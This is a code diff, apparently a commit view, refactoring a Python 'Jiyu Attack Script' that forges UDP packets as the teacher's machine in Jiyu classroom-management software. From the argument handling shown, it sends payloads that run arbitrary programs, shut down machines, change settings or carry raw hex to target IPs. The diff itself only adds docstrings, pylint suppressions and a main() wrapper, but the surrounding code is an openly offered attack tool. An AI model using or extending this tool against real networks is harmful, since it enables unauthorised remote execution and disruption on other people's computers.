1- # pylint: disable=all
2-
31"""
42Jiyu Attack Script
53
4644
4745
4846def main_parser ():
47+ """
48+ Main parser for the Jiyu attack script.
49+ This function sets up the command-line argument parser with various options for network configuration and attack actions
50+ """
4951 parser = argparse .ArgumentParser (
5052 prog = "Jiyu_udp_attack" ,
5153 description = "Jiyu Attack Script\n \n "
@@ -320,7 +322,8 @@ def setting_parser():
320322 return parser
321323
322324
323- if __name__ == "__main__" :
325+ def main ():
326+ """Main function to parse arguments and execute the attack."""
324327 logger : List [Any ] = []
325328
326329 parser = main_parser ()
@@ -353,7 +356,9 @@ def setting_parser():
353356 program , args_list = args_list
354357 else :
355358 parser .error ("Invalid execute arguments: expected [program] or [program, args_list]" )
356- payload = pkg_execute (program , args_list , "normal" if mode is None else mode )
359+ payload = pkg_execute (
360+ program , args_list , "normal" if mode is None else mode # pylint: disable=E0601, E0606
361+ )
357362 elif args .shutdown is not None :
358363 if len (args .shutdown ) == 0 :
359364 payload = pkg_shutdown ()
@@ -387,7 +392,7 @@ def setting_parser():
387392 elif args .setting is not None :
388393 parser2 = setting_parser ()
389394 setting_args = parser2 .parse_args (shlex .split (args .setting ))
390- payload = pkg_setting (** dict (setting_args ._get_kwargs ()))
395+ payload = pkg_setting (** dict (setting_args ._get_kwargs ())) # pylint: disable=protected-access
391396 logger .append (setting_args ) # Store parsed settings for debugging
392397 elif args .hex :
393398 payload = binascii .unhexlify (args .hex .replace (" " , "" ))
@@ -408,9 +413,19 @@ def setting_parser():
408413 parser .error ("Target IP address cannot be empty. Use -h for help." )
409414
410415 for target in targets :
411- broadcast_packet (teacher_ip , teacher_port , target , port , payload , ip_id = args .ip_id )
416+ broadcast_packet (
417+ teacher_ip , teacher_port , target , port , payload , ip_id = args .ip_id # pylint: disable=E0601, E0606
418+ )
412419 logger .append (f"Sent packet with a length of { len (payload )} to { target } :{ port } " )
413420
414421 print (* logger , sep = "\n \n " )
415- except Exception as e :
422+ except Exception as e : # pylint: disable=broad-except
416423 parser .error (f"({ e .__class__ .__name__ } ) { e } " )
424+
425+
426+ if __name__ == "__main__" :
427+ main ()
428+ else :
429+ print ("This script is intended to be run as a standalone program, not imported as a module." )
430+ print ("Please run it directly using 'python Jiyu_udp_attack/__main__.py' or similar command." )
431+ raise ImportError ("This script is not designed to be imported as a module." )
0 commit comments